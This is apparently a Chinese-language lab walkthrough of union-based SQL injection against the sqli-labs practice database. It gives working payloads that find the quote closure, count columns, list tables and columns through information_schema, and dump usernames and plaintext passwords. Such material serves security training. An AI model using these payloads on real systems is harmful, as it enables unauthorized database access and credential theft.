1.寻找注入点(和数据库有交互 ?aa=bbb )
?id=1
2.判断闭合方式
先判断数字型、字符型
在后面输入 ?id=1asdf (报错数字型,不报错字符型)
在判断闭合方式
看输入内容后面符号('单引号闭合)
3.判断列数
?id=1' order by 3 --+
看是否报错3代表3列,如果变成4则会报错
4.查看
?id=-1' union select 1,2,3 --+
(把1改成-1是为了让页面显示出select1,2,3那么前面就不能查询到内容)
5.获取数据库名(security)
?id=-1' union select 1,database(),3 --+
6.获取表名(emails,referers,uagents,users)
?id=-1' union select 1,(select group_concat(table_name)from information_schema.tables where table_schema='security'),3 --+
group_concat将所有数据聚合在一行进行显示
table_name 表名
information_schema.tables 去下面的这个表(mysql5.0版本以上自带的)
table_schema(数据库名字)
(查到表名后,猜一下我们需要的东西在那个表里,直接查看哪个表)
7.获取列名(id,username,password)
?id=-1' union select 1,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),3 --+
8.获取具体数据
获取username(Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4)
?id=-1' union select 1,(select group_concat(username)from users),3 --+
获取password(Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4)
?id=-1' union select 1,(select group_concat(password)from users),3 --+